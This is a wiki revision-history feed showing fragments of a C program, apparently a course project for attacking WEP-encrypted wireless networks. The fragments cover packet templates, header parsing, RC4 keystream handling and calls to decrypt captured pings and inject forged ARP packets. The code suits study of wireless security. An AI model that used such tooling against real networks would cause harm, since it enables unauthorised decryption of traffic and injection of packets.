<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://sarwiki.informatik.hu-berlin.de/index.php?action=history&amp;feed=atom&amp;title=Arp_and_pingforwarding.c</id>
	<title>Arp and pingforwarding.c - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://sarwiki.informatik.hu-berlin.de/index.php?action=history&amp;feed=atom&amp;title=Arp_and_pingforwarding.c"/>
	<link rel="alternate" type="text/html" href="https://sarwiki.informatik.hu-berlin.de/index.php?title=Arp_and_pingforwarding.c&amp;action=history"/>
	<updated>2026-05-11T00:30:40Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.43.8</generator>
	<entry>
		<id>https://sarwiki.informatik.hu-berlin.de/index.php?title=Arp_and_pingforwarding.c&amp;diff=8755&amp;oldid=prev</id>
		<title>Newacct at 10:22, 11 February 2010</title>
		<link rel="alternate" type="text/html" href="https://sarwiki.informatik.hu-berlin.de/index.php?title=Arp_and_pingforwarding.c&amp;diff=8755&amp;oldid=prev"/>
		<updated>2010-02-11T10:22:27Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 10:22, 11 February 2010&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;
  &lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 311:&lt;/td&gt;
  &lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 311:&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; #endif&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; #endif&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	//	printf(&quot;%d. runde vollendet:&quot;, nr);&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;getc&lt;/del&gt;(&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;stdin&lt;/del&gt;);&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	//	printf(&quot;%d. runde vollendet:&quot;, nr);&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;getchar&lt;/ins&gt;();&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	}&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	}&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	filter(0);&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	filter(0);&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 356:&lt;/td&gt;
  &lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 356:&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 		hexdump(packet,n,1);&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 		hexdump(packet,n,1);&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 		&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 		&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 		&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;getc&lt;/del&gt;(&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;stdin&lt;/del&gt;);&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;getc&lt;/del&gt;(&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;stdin&lt;/del&gt;);&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 		&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;getchar&lt;/ins&gt;();&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;getchar&lt;/ins&gt;();&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; #ifdef crypt1&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; #ifdef crypt1&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 		if(n&amp;gt;200) decrypt_ping(packet, n);&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 		if(n&amp;gt;200) decrypt_ping(packet, n);&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 625:&lt;/td&gt;
  &lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 625:&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; //	printf(&quot;First 8 Byte of Keystream: %X %X %X %X %X %X %X %X \n&quot;, kv[0], kv[1], kv[2], kv[3], kv[4], kv[5], kv[6], kv[7]);&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; //	printf(&quot;First 8 Byte of Keystream: %X %X %X %X %X %X %X %X \n&quot;, kv[0], kv[1], kv[2], kv[3], kv[4], kv[5], kv[6], kv[7]);&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	printf(&quot;Proceed y/n? &quot;);&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	printf(&quot;Proceed y/n? &quot;);&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	ask = &lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;getc&lt;/del&gt;(&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;stdin&lt;/del&gt;);&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	ask = &lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;getchar&lt;/ins&gt;();&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;getc&lt;/del&gt;(&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;stdin&lt;/del&gt;);&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;getchar&lt;/ins&gt;();&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	if (ask == &#039;y&#039;) send_arp(packet, iv, kv, key_idx);&lt;/div&gt;&lt;/td&gt;
  &lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;
  &lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; 	if (ask == &#039;y&#039;) send_arp(packet, iv, kv, key_idx);&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Newacct</name></author>
	</entry>
	<entry>
		<id>https://sarwiki.informatik.hu-berlin.de/index.php?title=Arp_and_pingforwarding.c&amp;diff=6307&amp;oldid=prev</id>
		<title>Grauel at 10:35, 31 October 2006</title>
		<link rel="alternate" type="text/html" href="https://sarwiki.informatik.hu-berlin.de/index.php?title=Arp_and_pingforwarding.c&amp;diff=6307&amp;oldid=prev"/>
		<updated>2006-10-31T10:35:16Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt; #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;sys/ioctl.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;net/ethernet.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;netinet/ip.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;netinet/tcp.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;net/if.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;netpacket/packet.h&amp;gt;&lt;br /&gt;
 #include &amp;quot;rc4.h&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 #define SEND_BIT 28 //0x24(verschluesselt) &amp;lt;&amp;gt; 0x1c(unverschluesselt)&lt;br /&gt;
 #define crypt1  &lt;br /&gt;
 #define DEBUG&lt;br /&gt;
 #define KEY_LAENGE 64 //Bit&lt;br /&gt;
 &lt;br /&gt;
   #define TMAC0 0x00&lt;br /&gt;
   #define TMAC1 0x0f&lt;br /&gt;
   #define TMAC2 0xb5&lt;br /&gt;
   #define TMAC3 0x3f&lt;br /&gt;
   #define TMAC4 0x13&lt;br /&gt;
   #define TMAC5 0x14&lt;br /&gt;
 #if 0&lt;br /&gt;
   #define TMAC0 0x00&lt;br /&gt;
   #define TMAC1 0x11&lt;br /&gt;
   #define TMAC2 0x88&lt;br /&gt;
   #define TMAC3 0x28&lt;br /&gt;
   #define TMAC4 0x73&lt;br /&gt;
   #define TMAC5 0x30&lt;br /&gt;
 #endif&lt;br /&gt;
 #if 0&lt;br /&gt;
   #define MAC0 0x00&lt;br /&gt;
   #define MAC1 0x13&lt;br /&gt;
   #define MAC2 0x02&lt;br /&gt;
   #define MAC3 0x2a&lt;br /&gt;
   #define MAC4 0x80&lt;br /&gt;
   #define MAC5 0x8d&lt;br /&gt;
 #endif&lt;br /&gt;
 //0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source&lt;br /&gt;
 &lt;br /&gt;
   #define MAC0 0x00&lt;br /&gt;
   #define MAC1 0x0f&lt;br /&gt;
   #define MAC2 0xb5&lt;br /&gt;
   #define MAC3 0x97&lt;br /&gt;
   #define MAC4 0x37&lt;br /&gt;
   #define MAC5 0x37&lt;br /&gt;
 &lt;br /&gt;
    typedef struct { &lt;br /&gt;
 	int iv; &lt;br /&gt;
 	unsigned char keyindex; &lt;br /&gt;
 	unsigned char keystream[2400];&lt;br /&gt;
   } key;  &lt;br /&gt;
 &lt;br /&gt;
 int rawsock;&lt;br /&gt;
 &lt;br /&gt;
 extern int crc32_bitoriented(unsigned char *buffer, int length);&lt;br /&gt;
 extern void swap_byte(unsigned char *a, unsigned char *b);&lt;br /&gt;
 extern void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key *key);&lt;br /&gt;
 extern void rc4(unsigned char*buffer_ptr, int buffer_len, rc4_key *key);&lt;br /&gt;
 unsigned short chksum(unsigned char *data, int l);&lt;br /&gt;
 &lt;br /&gt;
 void filter(int min_len);&lt;br /&gt;
 void decrypt_arp(unsigned char packet[], int n);&lt;br /&gt;
 void decrypt_ping(unsigned char packet[], int n);&lt;br /&gt;
 &lt;br /&gt;
 	unsigned char nul[1337] = {0};&lt;br /&gt;
 	unsigned char arp[] = {&lt;br /&gt;
 		0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x06,//LLC/SNAP&lt;br /&gt;
 		0x00, 0x01, //type ethernet&lt;br /&gt;
 		0x08, 0x00, //proto-type&lt;br /&gt;
 		0x06, 0x04, 0x00, 0x01, //hw, opcode&lt;br /&gt;
 		0x00, 0x0f, 0xb5, 0x97, 0x37, 0x37, //source-mac&lt;br /&gt;
 		0xc0, 0xa8, 0x8e, 0x02, //source IP NEEDS PATCH 0x16-0x19 XXX last byte= 64&lt;br /&gt;
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //target-mac&lt;br /&gt;
 		0xc0, 0xa8, 0x8e, 0x01 //target-ip&lt;br /&gt;
 	};&lt;br /&gt;
 &lt;br /&gt;
 	unsigned char ping[]={&lt;br /&gt;
 	0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, //SNAP _7&lt;br /&gt;
 	0x45, 0x00, 0x01, 0x1c, // ipheader,flags, 2bit:laenge _11&lt;br /&gt;
 	0x00, 0x00, // Identification _13&lt;br /&gt;
 	0x40, //flags _14&lt;br /&gt;
 	0x00, //fragmen offset _15&lt;br /&gt;
 	0x40, // TTL _16&lt;br /&gt;
 	0x01, // Proto = ICMP _17&lt;br /&gt;
 	0x9c, 0x8c, // FIXME CHKSUM _19&lt;br /&gt;
 	0xc0, 0xa8, 0x8e, 0x02, //SRC IP _23&lt;br /&gt;
 	0xc0, 0xa8, 0x8e, 0x01, //DEST IP (TARGET) _27&lt;br /&gt;
 	0x08, //ICMP type echo request&lt;br /&gt;
 	0x00, //code _29&lt;br /&gt;
 	0x07, 0xd5, //icmp-chksum FIXME TODO XXX _31&lt;br /&gt;
 	0x08, 0x20, //identifier _33&lt;br /&gt;
 	0x00, 0x02, //sequenz _35&lt;br /&gt;
 	0x40, 0xe5, 0x18, 0x45, 0x2f, 0x37, 0x0a, 0x00, //statische daten&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,&lt;br /&gt;
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff // _291&lt;br /&gt;
 	};&lt;br /&gt;
 	int ping_len = 292;&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 	uint8_t arp_len = 36;&lt;br /&gt;
 &lt;br /&gt;
 /* wandelt daten in hexzahlen um */ &lt;br /&gt;
   void&lt;br /&gt;
 hexdump (unsigned char *data, int len, int nl)&lt;br /&gt;
 {&lt;br /&gt;
   int i;&lt;br /&gt;
   for (i = 0; i &amp;lt; len; i++)&lt;br /&gt;
     printf (&amp;quot;%02x%c&amp;quot;, data[i], (i &amp;lt; len - 1) ? &amp;#039;:&amp;#039; : 0);&lt;br /&gt;
   if (nl)&lt;br /&gt;
   	printf (&amp;quot;\n&amp;quot;);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 /* header ausgeben */ &lt;br /&gt;
   void&lt;br /&gt;
 print_header (unsigned char packet[], int n) &lt;br /&gt;
 {&lt;br /&gt;
   printf (&amp;quot;\nType:\t%x&amp;quot;, (unsigned char) packet[0]);&lt;br /&gt;
   printf (&amp;quot;\nFlags:\t%x&amp;quot;, (unsigned char) packet[1]);&lt;br /&gt;
   printf (&amp;quot;\nDauer:\t%u&amp;quot;, (unsigned short) packet[2]);&lt;br /&gt;
   printf (&amp;quot;\nZiel-Mac:\t&amp;quot;);&lt;br /&gt;
   hexdump ((unsigned char *) packet + 0x04, 6, 0);&lt;br /&gt;
   printf (&amp;quot;\nBSS-Mac:\t&amp;quot;);&lt;br /&gt;
   hexdump ((unsigned char *) packet + 0x0a, 6, 0);&lt;br /&gt;
   printf (&amp;quot;\nQuell-Mac:\t&amp;quot;);&lt;br /&gt;
   hexdump ((unsigned char *) packet + 0x10, 6, 0);&lt;br /&gt;
   printf (&amp;quot;\nSequenzNR:\t%u&amp;quot;, (unsigned short) packet[0x16]);&lt;br /&gt;
   printf (&amp;quot;\n##IV##:\t%x %x %x&amp;quot;, (unsigned char) packet[0x18],&lt;br /&gt;
 	   (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);&lt;br /&gt;
   printf (&amp;quot;\nKey-Index:\t%u\n&amp;quot;, (unsigned char) packet[0x1b]);&lt;br /&gt;
   hexdump ((unsigned char *) packet + 0x1c, n - 3 - 0x1c, 1);&lt;br /&gt;
   printf (&amp;quot;WEP-ICV:\t&amp;quot;);&lt;br /&gt;
   hexdump ((unsigned char *) packet + n - 3, 4, 1);&lt;br /&gt;
   return;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 unsigned char * get_bss(char packet[], int n)&lt;br /&gt;
 {&lt;br /&gt;
 	return (unsigned char*)packet + + 10;&lt;br /&gt;
 }&lt;br /&gt;
 /*&lt;br /&gt;
 uint32_t modpot(uint32_t a, uint8_t e, uint8_t m)&lt;br /&gt;
 {&lt;br /&gt;
 	uint32_t z, i;&lt;br /&gt;
 	z = 1;&lt;br /&gt;
 	for (i = ;&lt;br /&gt;
 	&lt;br /&gt;
 }*/&lt;br /&gt;
